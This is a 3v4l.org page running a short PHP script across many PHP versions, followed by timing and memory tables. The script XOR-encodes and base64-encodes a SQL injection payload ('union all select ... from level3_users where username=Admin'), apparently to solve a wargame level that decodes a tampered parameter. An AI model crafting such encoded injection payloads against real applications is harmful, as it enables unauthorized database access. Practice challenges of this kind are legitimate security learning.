3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union all select 1,2,3,4,5 from level3_users where username=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01318.56
8.3.50.0090.00922.05
8.3.40.0090.00618.90
8.3.30.0070.01019.08
8.3.20.0040.00420.24
8.3.10.0070.00021.95
8.3.00.0050.00322.50
8.2.180.0030.01316.50
8.2.170.0110.00422.96
8.2.160.0040.01120.45
8.2.150.0080.00024.18
8.2.140.0060.00324.66
8.2.130.0040.00426.16
8.2.120.0030.00519.23
8.2.110.0060.00322.20
8.2.100.0060.00619.51
8.2.90.0000.00819.35
8.2.80.0000.00818.05
8.2.70.0000.00817.63
8.2.60.0080.00018.05
8.2.50.0090.00018.07
8.2.40.0060.00318.34
8.2.30.0050.00218.17
8.2.20.0040.00417.79
8.2.10.0040.00419.49
8.2.00.0040.00417.82
8.1.280.0100.00725.92
8.1.270.0090.00022.20
8.1.260.0070.00026.35
8.1.250.0040.00428.09
8.1.240.0000.00823.78
8.1.230.0090.00319.10
8.1.220.0040.00417.74
8.1.210.0050.00318.77
8.1.200.0080.00317.22
8.1.190.0040.00417.53
8.1.180.0060.00318.10
8.1.170.0040.00418.65
8.1.160.0030.00722.04
8.1.150.0050.00318.49
8.1.140.0040.00417.30
8.1.130.0070.00017.91
8.1.120.0050.00317.43
8.1.110.0000.00817.46
8.1.100.0000.00717.43
8.1.90.0030.00317.42
8.1.80.0000.00717.45
8.1.70.0070.00017.46
8.1.60.0120.00017.66
8.1.50.0040.00417.62
8.1.40.0040.00417.56
8.1.30.0040.00417.71
8.1.20.0000.00817.59
8.1.10.0000.00717.46
8.1.00.0070.00017.49
8.0.300.0050.00218.77
8.0.290.0070.00017.30
8.0.280.0000.00718.49
8.0.270.0000.00817.24
8.0.260.0060.00016.91
8.0.250.0000.00716.95
8.0.240.0070.00317.05
8.0.230.0030.00317.02
8.0.220.0050.00316.85
8.0.210.0000.00717.00
8.0.200.0030.00616.96
8.0.190.0000.00817.00
8.0.180.0000.00716.97
8.0.170.0040.00417.02
8.0.160.0040.00417.00
8.0.150.0030.00316.77
8.0.140.0000.00816.85
8.0.130.0050.00013.29
8.0.120.0040.00416.94
8.0.110.0040.00416.89
8.0.100.0070.00016.79
8.0.90.0080.00016.94
8.0.80.0120.00316.89
8.0.70.0000.00816.95
8.0.60.0040.00416.80
8.0.50.0070.00016.78
8.0.30.0110.01116.95
8.0.20.0170.00317.43
8.0.10.0000.00816.87
8.0.00.0080.01116.94
7.4.330.0000.00515.00
7.4.320.0000.00616.41
7.4.300.0030.00316.61
7.4.290.0000.00716.51
7.4.280.0080.00016.54
7.4.270.0000.00716.61
7.4.260.0020.00516.64
7.4.250.0030.00616.41
7.4.240.0000.00716.64
7.4.230.0070.00016.50
7.4.220.0070.01316.50
7.4.210.0070.01116.56
7.4.200.0070.00016.44
7.4.190.0000.00716.43
7.4.160.0090.00616.57
7.4.150.0120.00617.40
7.4.140.0120.01117.86
7.4.130.0140.00616.62
7.4.120.0120.01016.55
7.4.110.0120.01516.55
7.4.100.0160.00916.66
7.4.90.0110.00616.46
7.4.80.0090.00919.39
7.4.70.0080.00816.46
7.4.60.0040.01316.38
7.4.50.0000.00516.40
7.4.40.0110.00422.77
7.4.30.0130.00816.66
7.4.00.0000.01014.84
7.3.330.0040.00413.27
7.3.320.0030.00313.45
7.3.310.0070.00016.18
7.3.300.0000.00716.42
7.3.290.0090.00616.45
7.3.280.0050.01116.40
7.3.270.0070.01017.40
7.3.260.0070.01316.65
7.3.250.0150.00616.37
7.3.240.0130.00316.39
7.3.230.0130.01016.39
7.3.210.0140.00416.58
7.3.200.0070.01019.39
7.3.190.0080.01216.34
7.3.180.0000.01616.45
7.3.170.0090.01216.46
7.3.160.0140.00716.48
7.3.120.0070.01114.89
7.3.10.0060.00616.57
7.3.00.0040.00816.43
7.2.330.0130.00716.57
7.2.320.0070.01116.77
7.2.310.0040.01416.82
7.2.300.0070.01716.89
7.2.290.0110.00516.54
7.2.130.0000.01216.75
7.2.120.0110.00417.06
7.2.110.0040.00916.75
7.2.100.0000.00917.04
7.2.90.0130.00317.14
7.2.80.0050.00816.72
7.2.70.0030.00917.01
7.2.60.0030.01217.05
7.2.50.0040.00716.62
7.2.40.0030.00617.03
7.2.30.0100.00717.13
7.2.20.0030.01016.97
7.2.10.0030.01017.13
7.2.00.0080.00418.17
7.1.250.0030.00815.77
7.1.200.0030.00915.77
7.1.100.0060.00918.39
7.1.70.0090.00616.84
7.1.60.0080.00617.36
7.1.50.0210.01734.88
7.1.00.0000.07722.28
7.0.200.0070.01016.46
7.0.140.0070.06722.07
7.0.60.0130.07719.96
7.0.50.0100.07717.95
7.0.40.0130.08320.09
7.0.30.0430.07020.10
7.0.20.0270.05020.16
7.0.10.0030.05720.07
7.0.00.0070.08320.08
5.6.280.0100.06321.11
5.6.210.0070.08320.75
5.6.200.0270.04718.18
5.6.190.0130.08320.57
5.6.180.0170.08020.77
5.6.170.0200.07720.62
5.6.160.0070.04020.51
5.6.150.0030.08718.18
5.6.140.0130.06318.10
5.6.130.0030.04018.16
5.6.120.0100.06320.91
5.6.110.0130.07321.09
5.6.100.0100.07321.00
5.6.90.0070.08320.89
5.6.80.0100.03720.51
5.5.350.0370.04720.47
5.5.340.0070.07718.05
5.5.330.0030.07020.13
5.5.320.0300.08020.42
5.5.310.0300.07720.37
5.5.300.0030.08017.95
5.5.290.0100.07718.04
5.5.280.0030.05320.75
5.5.270.0170.08020.98
5.5.260.0170.07320.89
5.5.250.0100.07720.70
5.5.240.0230.06320.27
5.4.450.0970.04019.65
5.4.440.0930.04319.40
5.4.430.0670.04019.40
5.4.420.0630.04019.41
5.4.410.1630.03319.44
5.4.400.0700.04018.99
5.4.390.0770.03019.22
5.4.380.0330.05018.51
5.4.370.0330.05018.45
5.4.360.0370.04718.78
5.4.350.0300.06018.80
5.4.340.0200.06018.70
5.4.320.0060.04712.51
5.4.310.0090.04712.50
5.4.300.0060.04512.51
5.4.290.0100.03912.51
5.4.280.0060.04412.40
5.4.270.0130.06018.96
5.4.260.0070.05319.10
5.4.250.0070.05718.84
5.4.240.0170.05019.00
5.4.230.0200.06718.95
5.4.220.0200.06318.94
5.4.210.0170.05018.75
5.4.200.0170.04718.95
5.4.190.0070.07318.93
5.4.180.0200.06318.75
5.4.170.0070.06318.75
5.4.160.0200.05019.09
5.4.150.0130.06718.95
5.4.140.0100.04716.45
5.4.130.0200.03716.41
5.4.120.0070.05016.59
5.4.110.0070.05716.41
5.4.100.0070.05316.70
5.4.90.0070.05016.47
5.4.80.0130.06316.55
5.4.70.0130.06316.61
5.4.60.0200.05716.39
5.4.50.0070.05016.49
5.4.40.0030.06316.55
5.4.30.0070.05016.38
5.4.20.0130.06716.59
5.4.10.0170.05716.55
5.4.00.0100.05715.82
5.3.290.0070.04312.80
5.3.280.0130.07014.57
5.3.270.0070.07714.69
5.3.260.0200.06314.68
5.3.250.0070.05314.63
5.3.240.0100.05714.65
5.3.230.0030.06714.67
5.3.220.0130.06014.54
5.3.210.0170.04314.58
5.3.200.0100.04714.59
5.3.190.0100.05014.54
5.3.180.0130.05014.75
5.3.170.0270.05014.73
5.3.160.0170.04314.65
5.3.150.0330.03714.54
5.3.140.0100.07014.59
5.3.130.0170.07014.77
5.3.120.0130.05014.64
5.3.110.0070.05714.63
5.3.100.0070.05314.22
5.3.90.0070.05314.11
5.3.80.0100.06314.11
5.3.70.0200.03714.01
5.3.60.0070.07013.83
5.3.50.0200.04313.98
5.3.40.0100.07013.79
5.3.30.0070.06314.13
5.3.20.0000.07313.68
5.3.10.0130.04713.74
5.3.00.0100.05313.73
5.2.170.0000.06711.05
5.2.160.0070.04011.24
5.2.150.0030.05011.16
5.2.140.0070.04011.23
5.2.130.0070.04011.08
5.2.120.0070.03711.27
5.2.110.0100.04311.01
5.2.100.0070.05710.93
5.2.90.0070.04011.18
5.2.80.0070.04311.28
5.2.70.0030.04311.05
5.2.60.0130.03311.05
5.2.50.0130.05711.11
5.2.40.0070.04010.84
5.2.30.0030.05711.14
5.2.20.0170.04710.96
5.2.10.0070.05310.93
5.2.00.0100.05010.79
5.1.60.0070.0539.84
5.1.50.0100.03010.10
5.1.40.0130.03710.05
5.1.30.0070.03310.41
5.1.20.0070.05010.36
5.1.10.0130.03010.22
5.1.00.0030.03710.07
5.0.50.0030.0308.59
5.0.40.0070.0338.52
5.0.30.0000.0578.25
5.0.20.0030.0308.19
5.0.10.0000.0308.23
5.0.00.0070.0378.27
4.4.90.0030.0236.55
4.4.80.0030.0206.55
4.4.70.0030.0306.55
4.4.60.0070.0236.55
4.4.50.0100.0236.55
4.4.40.0000.0436.55
4.4.30.0100.0206.55
4.4.20.0030.0276.55
4.4.10.0070.0276.55
4.4.00.0070.0406.55
4.3.110.0070.0206.55
4.3.100.0000.0236.55
4.3.90.0030.0276.55
4.3.80.0130.0336.55
4.3.70.0000.0336.55
4.3.60.0000.0236.55
4.3.50.0030.0206.55
4.3.40.0030.0336.55
4.3.30.0000.0236.55
4.3.20.0000.0276.55
4.3.10.0030.0206.55
4.3.00.0000.02013.50

preferences:
38.1 ms | 401 KiB | 5 Q